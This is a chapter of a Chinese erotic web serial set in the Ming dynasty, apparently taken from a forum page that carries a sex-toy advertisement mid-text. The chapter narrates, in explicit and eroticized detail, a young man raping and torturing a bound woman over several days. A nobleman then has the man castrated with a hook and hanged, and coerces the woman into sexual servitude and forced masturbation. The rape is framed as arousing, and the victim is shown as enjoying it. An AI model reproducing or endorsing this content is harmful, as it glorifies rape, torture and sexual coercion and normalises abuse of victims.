热门搜索






[古典]身有千千劫(全)-10

  

第十帖:无处话凄凉

一阵钻心的痛袭来,月娘的舌头并没有如她预期般地咬断。

妖媚猩红的血,顺着唇角滴落。

春生瘦而有力的手,扼住了月娘的双颊,阻止了她的继续求死。

「臭婊子!想死?!没那么容易!」春生的手用力向下一沈。

随着一声骨节错落的脆响,月娘的下颚骨被掰脱臼了。

「唔……」月娘痛得喊不出声音。下巴传来的那种酸痛的滋味,让她比死还
难受。

她的嘴无法合拢,更别说想要咬舌自尽了。

她只能张着小嘴,无能为力地被春生扛在肩头上,被他扛进那黑幽幽的密林
中去。

春生走到一处树木荫密的所在,把月娘扔到了一小块落满树叶的空地上。

「骚货,现在才是开始!」春生蹲下身去,把月娘身上那些零落的衣服碎片,
统统扯下去。

现在,月娘身上除了那些绳索,就真的是不着寸缕了。

那些粗糙的绳索,箍着她一身细嫩的肌肤。手臂上,胸前,都已经勒出了红
色的血痕。

这样凄美的身子,在春生眼中,有了一种无法形容的媚态。

她越可怜,他就越痛快;她越可怜,显得越淫荡。

眼看着天色已近全黑,春生不想这样淫荡的女人在他面前,他却无法看个清
楚。

于是他狠狠掐了一把月娘的屁股,在上面留下青紫的手痕。

转身又回到马车那边,把马牵到树丛中系好缰绳。从车厢座位下,拿了火折
子又走了回去。

月娘的神智已近涣散,手脚都被绳子勒得麻木,舌头传来一阵阵尖锐的痛。

下颚处又酸又空,血水和口水,都顺着唇角,流到纤长光洁的美颈上。

恍惚中,她只觉得周围的黑暗,被暖暖的火光照亮。

春生在她周围的树上,缠了十几支火把。

金色的光洒在月娘身体上,那一身魅惑的肌肤,那一圈圈缠绕的绳索,让她
看起来,就像一个被猎人捉住的山精树魅。

她无助地躺在那里,喘息着,呻吟着,颤抖着。

春生从不知道,女人竟可以美成这样。美得让他有一种想摧毁她的冲动。

「骚货……真骚……真好看……难怪,我爹为了操你,把命都搭上了。现在,
爷继续操你,也算是为我爹报仇了。骚货,别装死,好好地,感觉爷这根南傍国,
是怎么操你的骚穴的。」春生俯身对月娘说着。

她眼皮剧烈地颤抖,却不敢睁开。眼泪从眼角大颗大颗地滚落,跌碎在她美
丽的锁骨上。

春生心满意足地抚弄两下自己的铁棍,把月娘的身体,掀成侧躺的姿势。

解开她两脚之间的绳索,春生把她的一条腿高高抬起,扛在他的肩膀上。

坐在月娘下面那条大腿上,春生努力向前凑凑,那硬烫的铁棍,便突入了月
娘的身体。

月娘柔软的身体,被他折成一个扭曲的姿态。

被动地让他那样插着小穴,被抬起的那条腿,春生一面啃咬着,一面前倾身
体,用力向下压着。

月娘模糊地觉得,自己的腿就要被他掰断了。

春生却通体舒畅,这样的姿势,让他的铁棍可以从另外一个角度,攻击月娘
花穴里的每一条嫩肉。

月娘那似乎长满了小舌的小穴,

熨烫着他的铁棍;

而每一次冲击她,月娘那对白白嫩嫩的屁股和阴阜,都蹭着他的两侧大腿。

春生看着月娘那对随身体晃动的乳房,忍不住伸手去抓。

那对乳头在他手心里四处滚动,那种触感让他爱不释手。

只是月娘死气沉沉,茫然被他强暴的感觉,让春生心存不满。

于是就这么插了一会儿,春生拔出铁棍,看到上面还是有很多白色的粘液。

似乎月娘那小穴,无论怎么插弄,里面的水也不会枯竭。

借着火把明晃晃的光线,春生仔细观察着月娘狼狈的小穴。

那里充溢着精液和淫水,穴口被他插得红红肿肿的,显得那条小缝更为幽深
神秘。

已经泄了两次的他,决定不再那么急躁。

他不止要向月娘淫荡的身体复仇,也要把她的精神摧毁。

用手指来回拨弄着湿软的花瓣,春生一会儿揉弄几下花核,一会儿又把两根
手指戳进去,恶意地捅几下。

那小穴无力地抗拒着他粗硬的手指,想要闭得更紧,拒绝手指的侵入。

春生感觉那小穴在一缩一缩地吸着自己的手指,就像一张小嘴。

他玩心大发,捅得更深入更执着。

月娘浑身是汗,被他玩弄得求生不得求死不能。

绳子绑得她全身麻木酸痛,两条手都像要折断了。

可偏偏那淫荡的小穴,清楚地感觉到春生的手指,在里面勾挑转磨,专门向
那些要命的地方进攻。

「真是个骚货!」春生听到月娘嗓子眼里压抑的呻吟,又爱又恨地骂道。

「是不是插得越深,就越舒服?」春生说着,把其它三根手指,也都塞进了
小穴。

月娘一阵不受控的战栗,双腿胡乱地踢着。她从昏沈中被惊醒,觉得自己就
要被那只手劈成两半。

小穴口传来一阵阵剧烈的撕痛,让她恨不能此时马上就死去。

春生用一只手牢牢控制住她的脚踝,另外那只手,不气馁地继续深入。

「唔……唔!」月娘满脸是泪,剧烈地晃着头,哀求春生停止。

这种剧痛,让她连昏厥过去都不能。

「还敢不敢寻死觅活?」春生眼见着自己的大么指,都快被那小穴渐渐吞没,
盯着月娘的眼睛问。

月娘摇着头哭着,「唔……唔」,她含糊地说着,却根本不成字。

「想不想被爷好好地操?嗯?!」春生终于把大么指也塞了进去,他的手,
几乎一大半都塞进了月娘可怜的小穴。

月娘用力地点头,散乱的头发被泪水沾在脸颊上。

「记住,这就是你不给爷好好操的下场,以后学乖着点,骚货!」春生低吼
着,用力把手向前一挺!

「嗯——嗯——」月娘的身体顿时僵住了。甚至连挣扎的力气都没了。

那只手,完全进入了她狭窄的甬道。

她被撕裂了,被涨满了,被他活生生地掏空了。

她身体的其它部分的痛,此时都感觉不到了。

只有那只手,那只手侵占的小穴,让她的神智无比清晰。

春生惊奇地看着自己的手,被月娘那小穴吞到了手腕。

手腕上套着那么紧的一个小穴,手腕边缘都是精液淫水,还有——血迹。

他动动小穴里的手指,月娘就会如受伤的鸟儿,睁大了双眼,哀求地看着他。

他尝试着把手伸得更深些,可实在是前进不得。

月娘越来越凄厉的哭声,也终于让他停止了这样的尝试。

不能就这样玩死了她。春生暗自想着。

终于又惩罚似的在里面转动几下,惹得月娘又是一阵哀鸣。

他才一点点,脱离那死死包裹着他的小穴。

就像插入时那样,月娘战抖着,哭叫着。

清楚地知道,他那粗粝的手掌划过她娇弱的穴口,一点点地退了出去。

她闭上眼睛喘息着,大脑中一片空白。

春生则盯着她的小穴出了神。那里虽然退了手出来,但暂时已无法闭合,留
下一个铜钱样大小的洞口。

里面鲜嫩粉红的内壁,他都能清楚地看到。

「要我操你的嘴,还是下面那个骚穴?自己选!」春生来到月娘头上蹲下,
冷酷的声音,让月娘迅速睁开眼睛。

她只得抬起头,屈辱地用嘴唇去碰触他紫黑色的,硬的像石头一样的肉棍。

她的下身痛得无法用语言形容,如果再蹂躏那里,她真地再也无法承受。

无论春生要她现在做什么,她都不能再反抗。

春生在她的头上跪了下去,一手托起她的后脑,一手端住她的下颚向上一抬。

一阵剧痛袭来之后,月娘才渐渐觉得,下颚不再那么酸痛,似乎轻松了很多。

春生迫不及待地把铁棍塞入月娘的口中,低沈地警告她:「敢跟老子耍花样,
我有的是办法让你难受!」

月娘只得含着他体味浓重的肉棍,忍住恶心欲呕的感觉,用舌头舔刷他的铁
棍。

她努力地服侍着他的铁棍,希望可以让他满意。

她再也不想遭受之前那样的痛苦,她也无暇思考自己今后的处境,无暇去想
卫子卿和卫子璇。

她只想,没有痛,不再痛……

三天了,三天里月娘水米未进,只是不断承受着春生各种各样的折磨。

他终于把她反剪的双手松开,月娘觉得那双手也不再是她的了。

绳子恨不能勒进了白嫩的皮肤中,一条条血痕,蛇一样地绕着她美丽的身体。

所以当春生把她又吊在树上的时候,月娘没一丝力气反抗,也不敢反抗。

她的意识已经破碎,任他为所欲为。

像一具丢了魂魄的稻草人,被春生绑起双手,吊在树枝上。

手腕上已经被磨破了皮,但月娘也只是轻微地喘息着。

只要他不再把那只手伸入她的下身,那只可怕的手,让月娘陷入了深深的恐
惧。

春生拉着绳索,看到月娘已经被拽得脚尖离了地,才停止动作,把绳子绑在
树干上。

月娘高举双手,那双乳房也更充分地绽开在春生眼前。

她这样的姿势好尴尬,好无奈,又好美。

一双玉臂被高高吊着,那纤腰,那双修长的腿,腿间那神秘幽深的缝隙,都
刺着春生那对初试男女滋味的双眼。

月娘的脚尖刚刚可以着地,手腕被勒得痛不过,便努力伸直了脚尖,去支撑
她的身体。

可用不了一会儿,她的脚尖又酸痛不堪,只好再用胳膊的力量,减轻被吊的
痛苦。

她用哀求的眼光看着春生,可春生只是裸着身体,从背后抚弄她圆润的乳房
和屁股。

完完全全把她的裸体抱在怀中,贴合着他火热的躯体。

春生觉得她皮肤都是凉凉滑滑的,就像抱着一块白玉。

把手掏进她的腿间,那条小缝已经愈合了,再度紧闭着,等待男人的开采。

可月娘吓得绷紧身体,喃喃地说:「春生,春生,爷,别,别,我怕……」

春生知道她怕什么,恐吓地说:「那就好好骚一骚,爷高兴了,就把这鸡巴
赏给你。否则……」

月娘低吟一声,努力把屁股向后挺,去磨蹭他的铁棍。

那里又硬了,随着月娘的动作,那里就越来越硬,越来越烫。

月娘甚至可以感受到,那根铁棍在她臀缝间,已经留下了液体的痕迹。

「爷,操我吧,快点操我吧……」月娘扭动着身体,努力向身后的春生看去。

她宁愿被他奸污,也不想再被他虐待。

那种痛,已经超出了身体忍耐的极限。

那种痛,已经让她看到了地狱的烈火。

「不行,不够。把你对付那哥俩的那一套使出来,快点!」春生不耐烦地,
用三根手指飞快掏弄着她的小穴。

那手指上的力量,就是对月娘最好的警告。

「爷,爷,用你的鸡巴……用力,操……插我的骚穴……爷……别……我流
水了,我……快操我,用你的鸡巴,求你……」

月娘知道背后的少年是个欲望和复仇的野兽,只得违心地说着侮辱自己的话。

春生这才满意地说:「真是个婊子,被人操,还要求着人。好,那我就满足
了你这骚穴。」

转身跟月娘面对面,两手捞起她的两条腿,那高度正好适合他的铁棍插入。

月娘的双手,好不容易才得到这样的喘息机会。赶忙用一双腿攀住他的腰,
盘得紧紧的。

「浪货,婊子!」春生用尽全力,狠狠一弓腰,铁棍便毫不留情地插过去!

「啊!——」月娘凄厉地大叫。剧烈地扭动着身体,一双乳房上下左右地摇
摆,磨蹭着春生的胸膛。

她的小穴经过刚才的一顿蹂躏,早已流出了大量的淫水。

在那些淫水的润滑下,春生的铁棍太过强硬,滑过了她的花径,却进入了她
毫无准备的菊穴中。

春生死死抱住她,不让她挣脱。闭着眼睛享受着月娘自动自发的磨蹭。

原来他并不知道,还可以玩弄女人的菊穴。

更没想到,月娘那里的滋味,可以媲美她的小穴。

虽然那里干干的,还没有水液的润滑,虽然那里紧得近乎让他窒息。

但那是一种绝美的滋味,超出他想象的爽快。

月娘越是抗拒着他,他就越能感受到,那紧得要夹断他的舒适感。

月娘哭着扭动了一会儿,发现对她的状况没有任何帮助。

之前卫子卿和卫子璇进入那菊穴之前,都百般温存,哄着她逗着她,让她的
身体做足了准备。

即使是那样,她往往还觉得进入的瞬间有些痛楚。

现在春生这样用蛮力,直接刺入那最紧窄的甬道,那尖锐的痛,从脚尖一直
窜到额头。

「轻点……啊……喔……爷,求你了,慢一点,轻一点,痛……」月娘小心
地,用乳头磨蹭着春生的乳头。

春生的铁棍在菊穴里面转了转,没有再继续深入。

他看看月娘流着泪水和汗水的脸,看到她深蹙的眉,靠近她说:「好,跟我
亲嘴,让爷砸吧砸吧你那条小舌头,看是什么滋味。」

月娘便凑近了他,主动把舌头递进他的口中。

春生便玩命似的吸吮起来,下身也开始大力的抽送。

月娘起初还是痛得一再挣扎,可那铁棍撞击了百十下之后,那菊穴之前的记
忆又回来了。

它不顾月娘满心的痛苦,又独自记起了那对兄弟宠溺它的情形。

于是它又配合地流出了润滑的液体,好让春生的铁棒,能更自由地进出。

月娘觉得自己的肉体好羞耻,它跟自己的想法,完全是背道而驰的。

春生火烫的肉棒,隔着那层薄膜,也能触碰到前面那处痒肉。

就连小穴里也冒出了一波波的淫液,打湿了春生的小腹和浓密的阴毛。

为了堵住自己就要冲出喉咙的淫叫,月娘回应着春生的狂吻。

把自己的舌头与他的纠缠在一起,就像两条饥渴的,交配的蛇。

「真想不到,光天化日之下,在这兔儿山,也有人做这档子丑事。精彩,精
彩!」一个男人说话的声音,猛然从不远处传来。伴随这声音的,还有几声夸张
的鼓掌声。

这声音如同晴天霹雳,砸碎了春生的绮梦。

他极度紧张之下,终于射出了浑白的精液。飞快地把那疲软的铁棍抽出去,
射了月娘一胸膛。

是什么人?什么人会来这鸟不拉屎的兔儿山?还那么巧看到了他淫辱月娘?

春生慌慌张张地披上衣服,胡乱套上裤子,哆嗦着问:「谁,谁?!出来!」

月娘也惊恐莫名。她觉得自己的命运,乖张的可笑可憎。

被人强暴,已经是噩梦。可每次被人强暴,都让其它人看个清楚,更令她无
地自容。

她希望被人解救,可她实在不想,被人看到自己那么不堪的一面。

春生的话音刚落,周围呼呼啦啦,站起来三四十人。

统统都是锦衣华服,一看便知不是寻常人等。

尤其是领头的那个,头戴着金玉冠,身穿红色织锦绣金华服,面目英俊。

那细致的皮肤和不凡的气质,可以看出此人出身背景的优渥。

月娘没想到这里会有那么多人,对此感到深深的羞耻。

又急又愧又无法面对这一切变故,她终于昏厥过去。

她封闭了自己的思想,来逃避眼前残酷的现实。

「你们,你们是什么人?!这……我……她是我买来的,我……我想怎样都
可以!」春生从衣襟里掏出月娘的身契,那是卫夫人临走前塞给他的。休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入

「哈,哈!好玩,有趣。合法买来的女人,却偏要弄到这荒无人迹的地方来。
去,拿过来,看看。」红衣男子不屑地摇摇头,指示身旁的一个健硕高大的卫兵
模样的人。

春生紧张地攥紧了那身契,撞着胆子说:「你们,你们到底是什么人?!凭
什么来查问我?这还,还有没有王法?!」

他不甘心,因为他在那红衣男子的眼睛中,看到了对他的侵犯。

因为,那人的眼睛,始终都在盯着月娘美丽的身体。

花费了那么多精力才得到的美人,春生还想把她私藏起来,他不想就这么便
宜了别人。

红衣男子却一阵大笑,笑得春生心里直颤。

他那种笑声,似乎根本没把他的质询看在眼中。似乎他说的,都是世间最可
笑的笑话。

「大胆!竟敢咆哮犯上!」那侍卫模样的人一挥手,上去七八个跟他一样穿
着的人,一起压住了春生,把他按跪在地上。

春生脑子里一片空白。犯上?这红衣男子,到底是谁?他惊得一身冷汗。

其中一个侍卫,把春生手中的身契抢过来,毕恭毕敬地跪下,双手呈给那红
衣男子。

红衣男子看了看那身契,无所谓似的摇摇头笑笑,随后便把那文契撕成了无
数碎片。

「王法?!小子,今天让你见识一下,我说的话,便是王法。」红衣男子笑
着说道。

春生眼见那被他视如珍宝的身契,转瞬成了风中飞舞的残蝶。

而那红衣男子浑身散发的富贵气息,更把他吓得,连一句抗议的话,都再也
不敢说出口。

「小子,算你运气好。今儿你遇见的,是咱们福王的世子,当今圣上的堂弟。
他一句话,可以让你活,也可以让你死!」领头的侍卫首领对着春生喝道。

春生一听这红衣男子竟是皇室后裔,吓得冷汗直流,忙低头服软:「小的有
眼无珠,冒犯了世子。还请您大人有大量,放过小的吧!」

红衣男子无所谓地笑笑,用手中的马鞭托住春生的下巴,盯着他问道:「我
再问你一次,这女人——你到底有没有奸污她?你要知道,我若去你的主人家查
问,连他们也不敢有一丝隐瞒。」

春生此刻吓得两腿如筛糠一般,跪都跪不住了。有心隐瞒说谎吧,又知道根
本瞒不住。

卖身契上清楚地写明了月娘的出身,及与卫府之间的渊源。

可若如实讲明,他又实在不知道,这世子到底会怎么处置他。

「说!」领头的侍卫看春生默不出声,主子眼中的冷冽越来越深重,逼问着
春生。

「是……只因这女子之前害死了我父亲,又与府中两位公子勾搭成奸,于是
夫人让我把她卖到南方。半途中……我为父报仇心切,就……」春生终于狠狠心,
说出了实情。

「这么说,就是强奸喽?戴淳,按我大明律,强奸者该当何罪呢?」福王世
子朱由菘轻描淡写地问。

那侍卫首领低头肃立答道:「强奸者,绞。」

「哦——既是这样,你们还愣着做什么?」朱由菘笑笑说道。

「不,不!世子,世子饶命啊!小的只是为父报仇!若是小的有罪,那,那
这女人,她的罪更重!她同时与兄弟俩通奸,她是个淫妇!世子,杀了她,杀了
她啊!」春生被那群侍卫拖着走,不断徒劳地挣扎着。

经过月娘身旁的时候,他更是起了同归于尽的杀心,要把月娘也拖下水。

如果真地要死,月娘也不能继续活着!即便做了鬼,他也要在阴间继续折磨
她!

朱由菘一摆手,那群侍卫暂停了脚步。

春生以为自己的目的已经达到,一双眼睛恳切地看着朱由菘,一步步朝他走
过去。

「唉——」朱由菘叹口气,看着月娘那具美丽的裸体,仍处于昏厥中。

他笑笑说:「小子,你叫什么?」

「世子,世子,饶了小的吧。小的贱名叫春生,王春生!父亲已经被这女人
害死,家中还有一位老母需我供养。世子,您就可怜可怜我,饶过小子一条贱命
吧!」春生哭着哀求道。

「王春生,本来呢,我真想给你一个痛快的死法。绞死,虽然不舒服,但也
不算太难受。可你叫的我心好烦。知不知道,我弄死你,比碾死一只蚂蚁更简单。
我做事,除了当今圣上和我的父王,谁也无权命令和干涉。这个女人,我想让她
活着,她就决不能给我死。而你——我想让你死,而且,不再死的那么痛快了。
戴淳!」

朱由菘一张笑脸,随着这段话的结束,逐渐转为冰冷。

「在!」戴淳恭恭敬敬地拱手伏腰应道。

「把他讨厌的嘴巴,给我堵上!尊重我们的大明律,仍旧吊起来绞死!在他
死之前,我要亲眼看到,他那脏污的命根子,被慢慢废掉!明白吗?」朱由菘厉
声命令道。

「明白。」戴淳说这两字的时候,那些一向服侍朱由菘的侍卫们,便已捡起
地上残破的衣服碎片,堵住了春生的嘴。

无论他是哀求还是咒骂,都被噎在嗓子眼里,再也说不出一句话了。

他扭动着挣扎着,浑身是汗。一想到自己不但复仇无望,连小命都葬送在了
月娘的身上,他更是恨。

恨自己为什么那么大意,更恨自己没有早一步下手,杀了月娘。

可所有的恨都无济于事了。

他被那些训练有素的侍卫们死死地按住,戴淳一个颜色,其中一个侍卫,便
伸手探入了春生的裤裆。

捞起他那软塌塌的命根子,用捕兽才用的铁钩子,快准狠地,一下子便穿透
了那东西!

春生嗓子里发出了兽一样的嚎叫,可那声音,低沈暗哑。

他眼见着自己传宗接代的东西,就这样被废了。他眼见着那钩子,带着血肉
挂在他的宝贝上。

他眼见着自己,因为剧痛而尿了出来。热热的尿液,刺激的伤口更为痛楚难
当。

可这,仍不是结束。

那侍卫拽着铁钩上的粗麻线,一点点地发力。

那钩子,便一点点扯着春生的命根子,豁得越来越多,越来越长。

终于到了极限,那钩子竟将那命根子,彻底地扯落他的身体!

春生在绝望中昏厥过去。心里的痛苦,似乎与入肉体上的锐痛不相上下。

戴淳把手中的水囊扔过去,那侍卫会意地接住,一股脑地倒在春生的脸上。

冰冷的水,让春生不得不醒过来,面对自己残缺疼痛的身躯。

那些侍卫架住他虚软的身体,春生已经丧失了所有反抗的能力和想法。

他倒宁愿死得再快些,因为下身那种冷飕飕热辣辣的痛,让他如同身处十八
层炼狱。

其中的一个侍卫,掏出一大段架猎网的铜丝。不费一丝力气,套住了春生细
弱的脖子。

春生满面泪水,却诡异地笑笑。

他笑,他笑自己终于还是躲不过宿命的追杀。

笑他和他爹王大一样,到底都死在了月娘的身上。

笑他竟然连死法,都跟他爹那么地类似。

只是,那铁丝一点点拽着他,脱离踏实的地面时,春生才真地知道,原来被
吊死,比他想象的还要难过。

手舞足蹈地挣扎了一会儿,他终于再也不动了。

脖子上勒住的铜丝,已经嵌入了他的肉中。在他的脖子周围,种下了一圈深
深的血痕。

戴淳上去亲自检查了一下,向朱由菘禀告道:「主子,人已经死了。舌头都
被他咬断了。」

「嗯,好,这样不是很好嘛?罢了,通知所有人,提前回府。这猎,不打了。」
朱由菘满意地叹口气,看看月娘的身体说道。

「世子,那——她,怎么处置?」戴淳眼观鼻鼻观心,小心地探问。并不敢
多瞧一眼。

「废话,第一天跟我?解下来,送到马车里,带回去。」朱由菘简单地指示
完,想想又解下身上的黑色披风,扔给戴淳。

「用这个,裹上她。那么好的身子,可惜了的。」说完,朱由菘便快步向树
林外走去。

那儿,有他华丽高贵的马车在等着他。

本来想趁着这初秋的天气,来兔儿山打猎解闷。

最近朱由菘的心情并不好。京城里有点姿色的女人,他还有哪个没玩过?

但竟没有一个,可以让他真正欢喜满意的。

否则,他怎么会突发奇想,在这样一个猎物并不丰沛的季节,来到这杳无人
迹的兔儿山?

不过,当他的属下悄悄回报他,说看到有人在此野合的时候,他的心情就好
起来了。

这事非常有趣。是什么样的女人,会与男人做出这样大胆的勾当?

所以他命令所有人把马系在远处,屏气噤声地围过来,观赏这样靡丽的春宫
图。

原本他以为,也许就是一般的村妇蛮夫,看个热闹也就罢了。

可当他看到月娘那张姿容,那副身段,那般神情,他的小腹不由得又热又紧,
下身那根龙阳,又热又涨又硬。

所以当下他便决定,这个女人,他这亲王世子,算是要定了。

而这男人,必须死。

月娘,这美丽的裸女,叫苏月娘。

她的肩头,又有一块如月牙般的疤痕。

这名字,真地很衬这美人。

朱由菘歪着薄薄的嘴唇笑笑,觉得这猎算是没有白打。

这山中所有珍禽异兽都加起来,也没有眼前这个苏月娘珍贵,更让他觉得不
虚此行。

月娘在颠簸中昏睡着,隐约中觉得,自己的下身好舒服,有什么冰冰凉凉的
东西滋润着那里。

她的小穴和菊穴都热辣辣地痛着,被春生折磨得又红又肿。

如果她可以选择,她宁愿自己再也不要醒来。

不要再面对这残酷的世界,和残酷的人心。

可下身一阵阵传来的舒爽,让她不由自主地轻叹一声。

月娘慢慢张开眼睛,就看到对面那英俊而邪魅的,男人的面孔。

是那红衣男子!是那带着几十个人,看到她那么淫贱一幕的男人!

月娘真想再度昏过去。

可当她定神看到自己目前的处境,却窘得连昏过去都不能了。

她身处于一辆宽大的马车车厢中。

她的身体,就坐在其中一侧的车厢座上。那上面,铺着极尽奢华柔软的白熊
皮。

而她的姿势,说是坐着,并不算完全正确。

她是仰躺在车座上,后背靠着质感极佳的鹅绒软垫。

但她的两条腿,则被人摆成了近乎一字型。

两旁的脚踝上,各拴着一条不粗不细的金链,链子的另一头,就分别固定在
车厢两旁的门把上。

而对面这红衣似血的男人,就玩味地盯着她赤裸的胸部,和明晃晃敞开的下
身。

还不断用着水囊里的水,一点点倒在她大开的小穴上。

好像他一点都不在意,她身下的熊皮,早已被那些水和她小穴里残留的液体
沾污。

「醒了?苏月娘?」朱由菘仍旧执拗地倒着水囊里的水,更刻意地,把那小
小的凸起的囊嘴,探入她的小穴中去。

「不……不要!你……为什么?你知道我的名字?你……他们……都看到了?
让我死,让我死了吧!」月娘呜咽着,扭过脸去尽量不看他。

门外纷杂的马蹄声,让她清楚地回忆起,到底有多少人,看到她赤裸的身子
和淫乱的表情。

「死?苏月娘,不要把死想的那么简单。你死了,卫家那兄弟俩,罪就大了。
知不知道,通奸是很大的罪名,嗯?」朱由菘平静地说着,欣赏着月娘惊恐的表
情。

她的心凉了。她万万想不到,这人不仅知道她的名字,就连她的出身和她的
过往,都似乎了如指掌。

「你……,你到底是谁?」月娘惊恐得大睁着一对美目,小嘴微微地张开着。

她忘了自己是什么处境,忘了自己现在这个羞耻的姿态。

她只是恐惧,不知道这个人到底想怎样,不知道他到底想对卫子卿和卫子璇
做什么。

「我……就是这个木匠皇帝的堂弟。福王,是我父王。我,就是将来的福王。
这么说,你明白了吗?春生,已经死了,罪名是强奸。我也算是为你报了仇。可
他临死前说出,你与卫家的那两个儿子通奸。你知道,那是要流放千里的么?」

朱由菘说完这些,豁然站起身,手撑着月娘身后的车厢,直盯着她慌乱的神
情,又接着说:「不过——如果月娘你改个名字,叫月奴,就是我世子府的人了。
自然与那两兄弟的瓜葛,也没人再去追究。只是,我为你做了那么多,你能为世
子府做点什么呢?奴婢?我可不缺。月娘,你好好想想,你有什么,是值得我去
收留的。」

原本他实在是想直接在这车厢里,就享用了月娘的身体。

不过毕竟他出身高贵,又是猎色老手。看着月娘被糟蹋得那么凄惨的小穴,
觉得未免有点败兴。

于是他忍了,决定回府后,让她好好休养一段时间,把那美丽的小穴养好了,
再尽情享用。

月娘怔怔地想了一会儿。

她现在才明白,原来,就连死,对她而言也是奢望。

这人张狂的语气,华丽的排场,让她明白,他说的都是真的。

以往在她眼中,卫府那样的人家,便已是人生极致了。

现在看到这王爷的儿子,她才知道,这种人对她来说,更是天上人间的差别。

他手里捏着的,不止是她的贱命一条,更是卫府和卫子卿卫子璇兄弟二人的
命运。

「爷……你叫我做什么,月娘……哦不……月奴……就做什么。」月娘看着
近在咫尺的,朱由菘的脸庞,小心翼翼地回答道。

「那就——做给我看,月奴,把你的骚劲,都拿出来给我看看。还有,从今
以后,叫我主子。你,就是我的——爱奴了。」朱由菘说着,抓住月娘捂着乳房
的手,一路向下,滑到了她的小穴上。

既然暂时不能碰,他也要先饱了眼福。

月娘怯怯地看看他,他一脸不容置疑的表情。

「快点,我没什么耐心。」朱由菘把她的手指向小穴里一推,冷冷地命令道。

于是月娘羞红了脸,咬着娇嫩的下唇,把脸扭向一旁,用她的手指,慢慢轻
轻地抚弄她的花径。

「看着我,不许躲。」朱由菘不理会她的羞涩,继续命令着。

月娘从没想到,她要在一个初次见面的陌生男人面前,用自己的手指,去淫
辱自己的身体。

可她现在没得选择,只有听从这主子的命令。

红着脸,看着朱由菘渐渐转红的双眼,用她纤长的中指,在穴口慢慢地画着
圈,然后插入了那花径中。

「很好……再多一点,再深一些……食指,也插进去,快!」朱由菘看着月
娘涨红的脸和吞吐着手指的小穴,原本清朗的嗓音,也渐渐沙哑起来。

月娘嘤咛一声,狠狠心,照他说的,把食指也加入进去。

朱由菘捏捏拳头,把水囊里的水,高高地,缓缓地浇灌在月娘的穴口上。

月娘的两条腿,被两旁的门扯得开开的,花径中传来的酸痒,她想挤紧双腿
都不能。

于是她只能小声喘息着,加快手指的律动,并且不由自主地,开始用她的大
么指,去按压磨蹭那充血勃起的花核。

小穴被手指抽插着,穴口被清凉的水激打着,身下那些柔软的长长的毛,都
跟着车厢的颠簸,刺激着月娘敏锐的感官。

她的手指很快就湿了,不是水,而是黏黏的淫液。

随着她快速的抽动,那些淫液在穴口堆积,每一次插动,手指都会带出一条
银亮的长丝。

月娘的另外一只手,也自发地开始揉捏那嫣红的乳头,挤压着那两团丰满白
皙的软肉。

看着她的眼神越来越迷茫,喘息越来越激烈,朱由菘趴在她的耳畔,极魅惑
地诱导着:「月奴,叫出来,大声叫。叫给你的新主子听。」

月娘无助地摇着头,小声哀求着:「主子,求你,别……外面,外面好多人,
月奴……不敢,好羞人……」

「没关系,他们裤裆里,没有男人那东西。你就用力地叫,让他们都知道,
你是我的人了。嗯?」朱由菘说着,用那水囊的嘴,扣在了月娘的另一只乳头上。

水囊里的水,已经几乎被他倒空了。

他稍一用力,那水囊嘴,便牢牢吸住了月娘的乳晕和乳头。

月娘本已濒临高潮,被他这样一弄,忍不住轻呼了一声。

外面没有任何反应,那些人都是常年伺候朱由菘的人,对这样的事情早已司
空见惯。

更因为自小便被阉割,又选到朱由菘身边做了死士,对男女之事就更不挂心
了。

月娘稍稍得了些安慰,知道自己与春生那样的一幕,是被一群阉人所见,也
就不那么羞愧;

加上朱由菘不断在她耳边喘息着,传递着男人的热力和气味,那水囊的嘴也
一阵紧似一阵,吸吮着她的乳头。

于是她醉了一般地,望着朱由菘热辣的眼睛,开始渐渐失去了控制自己的能
力。

她开始小声淫叫起来,到了后来,她的手指终于够到花径深处的那一点,她
开始放荡地大叫。

小穴里的手指的力量和速度,都加重加快了。

「就是这样,再浪一点,月奴,再骚一点……」朱由菘的阳具,已经高高地
翘起,顶的衣摆都高了起来。

他用那翘起的一端,隔着衣服磨蹭着月娘的乳房。

他长长的手指,也探入月娘的口中,拨弄着月娘柔滑的小舌,四处抚摸她温
热的口腔。

「啊,啊……主子,哦……不行了,我……哦,到了,嗯……就要到了!」
月娘一面含着他的手指,一面含糊地大叫着。

朱由菘看着她已近崩溃,知道她就要泄了。于是他高喊一声:「快!行进速
度加快!」

外面的侍卫们,对月娘的淫叫装聋作哑,但对朱由菘的命令,却是忠实地执
行者。

外面卫队和马车,都开始全速前进。

月娘的身体在并不算平整的路面上,急速地颠簸。

那种颠簸,就像要颠散她全身的骨架。

她的两条长腿,被迫绷得笔直,去平衡身体的晃动;

而那上下之间不规则的颠动,让她的手指更是不受控地,轻一下,重一下地
勾挠着那火热的花心。

突然她觉得一身的虚无感,似乎她这个人都飘飘然飞上了天空。

只留下那敏锐的小穴在抽搐着,牢牢吸住她的手指。

随即,大量的淫液蓬勃喷泄,打湿了她的手指。

她眯着双眼看着朱由菘,忘情地大叫着:「啊……到了,我到了,嗯——」

朱由菘顶着她乳房的龙阳也随之一热。

他竟然只是看着这淫荡不堪的月娘,就已可以让他泄了身子。

他闭着眼睛喘息着,用手去抚弄那巨大的龙阳。

他很庆幸,自己没有直接插了她那小穴。

因为他要那过程,他不介意多留些期待。

他要把那最醇最好的酒,留到最后才去品尝。

月娘终于成为了朱由菘的禁脔,在轰隆作响的情欲马车里,被送入了世子府。

她从春生手下逃脱了,而那些个曾在她媚肉中肆虐的男人,也都不得善终。

月娘无从想象,她失踪的这些天里,卫子卿和卫子璇,到底过着怎样痛苦混
乱的生活。

她不会知道,当他们从李府回家之后,满心的意兴阑珊。

两人对那套提亲的繁琐程序,那些客套的嘘寒问暖,都厌倦的要死。

尤其是卫子卿,对于自己即将过门的媳妇,李府的大小姐李玉臻,基本上没
拿正眼瞧过她。

其实李玉臻五官端正,面貌清秀。言谈举止间,倒是一派大家小姐应有的气
度。

若不是李府近几年来生意亏损,他们也不愿把这女儿,嫁给他这花名在外的
纨!子弟呢。

卫子卿倒真希望他们不同意这亲事,这样他还可以多跟月娘在一起,好好厮
守些日子。

可无论他怎么敷衍冷淡,一心想借助卫家财势翻身的李家,仍是对他礼遇有
加,甚至做到了有些巴结的意味。

终于,双方在波澜不惊中,定好了婚期。

卫夫人在这之前,就早已选好了日子。她说这个月的十五,就是黄道吉日。

